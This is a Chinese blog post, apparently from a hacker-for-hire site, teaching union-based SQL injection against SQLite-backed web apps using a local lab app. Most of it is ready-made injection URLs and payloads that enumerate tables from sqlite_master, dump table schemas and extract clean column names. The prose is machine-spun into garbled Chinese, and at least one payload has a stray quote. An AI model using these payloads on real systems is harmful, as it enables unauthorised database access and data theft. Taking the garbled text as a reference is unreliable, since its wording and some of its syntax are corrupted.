根据SQLite数据库的Web应用程序注入攻略

访客5年前黑客文章776

SQL注入又称hacking之母,是形成 *** 世界巨大损失而臭名远扬的缝隙之一,研究人员现已发布了许多关于不同SQL服务的不同进犯技巧相关文章。关于MSSQL,MySQL和ORACLE数据库来说,SQL注入的payload一抓一大把,你能够在web运用中运用SQL注入缝隙进行进犯,假如其间任何一种数据库被用来作为后端数据库。SQLite就比较不那么知名了,因而相关的SQL注入payload就比较少,假如你想进犯后端数据库为SQLite的,那你就得去学习SQLite相关功用,然后构造出你自己的payload。因而,本文中咱们将讨论两种关于SQLite的SQL注入进犯技巧。
1、根据联合查询的SQL注入(数字型或字符型)
2、SQL盲注
试验环境
为了完成根据SQLite的SQL注入,咱们需求以下环境:
1、web服务器(这里是apache)
2、PHP环境
3、运用SQLite数据库的存在缝隙的web运用,这里有一个我自己开发的运用
测验运用包里包括PHP代码和SQLite数据库(ica-lab.db).数据库共有两个表单:Info和Users
施行进犯
1、根据联合查询的SQL注入
根据联合查询的SQL注入并不难,SQL查询直接去数据库中获取表名以及列名。让咱们来试试根据联合查询的SQL注入(数字型),注入点:
http://127.0.0.1/sqlite-lab/index.php?snumber=1
在测验order by子句后,咱们能够发现列数为5,Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--

列2,3,4的数据在web页面上被打印出来了,因而咱们需求运用这三个列的其间一个或多个。
获取表名
在SQLite中,为了猜解表名咱们需求运转以下查询:

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
在缝隙运用程序里,假如咱们构造像以下这样的链接,web运用将会在2这个方位显现一切表名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

为了让表名独自显现,咱们能够运用带offset的limit子句,就像这样:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%'' limit 2 offset 1
limit后边接的数字是为了获取行数,而offest后边接的数字则为之一次回来成果中的删除数。在上述查询中,limit提取了两个表名,然后哦之一个被offset删除去,所以咱们获得了第二个表名。相似的,为了获取第三个表名,只需求改动limit和offset为3跟2即可,即limit 3 offset 2.
获取列名
关于获取列名来说,相同有个简略的SQL查询来从指定表中获取列名。

union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'
只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可,在本例中,我想获取info表的列名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'

获取“洁净”列名的payload
用以下payload来代替'sql',其他的payload坚持不变

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~')
Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info'

[1] [2] [3] [4]  黑客接单网

相关文章

怎么避免网站要害数据被人歹意收集

 昨天晚上花了几个小时用Jsoup写了一个网站收集器,帮一个高中同学收集了一个工业信息门户上的芯片待售信息。网站上显现的数据多达60w+条, 我写的程序跑了7个小时只收集了一半,算是能够交差了。 这现...

百度浏览器的隐私安全问题剖析

首要发现 百度阅读器是微柔和安卓渠道上的一种网络阅读器,个人用户在向服务器传输数据时进行加密,就算加密了也很简略被解密。阅读器更新时或许很轻易地被中心攻击者运用,履行恣意代码。 安卓版别的百度阅读器...

从零开始学Fuzzing系列:带领nduja打破Grinder的壁垒

四年前开源的Grinder项目,和借助于它运转的nduja,着实让浏览器缝隙发掘飞入了寻常百姓家。但随着时刻的检测,Grinder也遇到了让人爱恨交加的为难:分明发生了Crash,可便是无法重现。有多...

服务器遇到大流量进犯的处理进程

 事例描述 早上接到 IDC 的电话,说咱们的一个网段 IP 不断的向外发包,应该是被进犯了,详细哪个 IP不知道,让咱们检查一下。 按理剖析及解决办法 首要咱们要先确定是哪台机器的网卡在向外发包,还...

一次射中可疑要挟情报的剖析探究

由于最近一段时刻里”驱动人生”这个病毒还挺抢手,最近发现经过一些安全厂商的设备发现内网里边有许多的主机都中了这个病毒瞬间吓哭了。后续经过对主机进行查看,竟然没有发现什么问题,后续发现是安全设备命中了一...

看我怎么免费获取价值

大约两个月前,因为我需求发送一个15G的文件,我的一个朋友借给我了他的WeTransfer账户运用,我留心了一下,他的这种WeTransfer PLUS会员每年的注册费是120欧元。出于挖洞者的猎奇...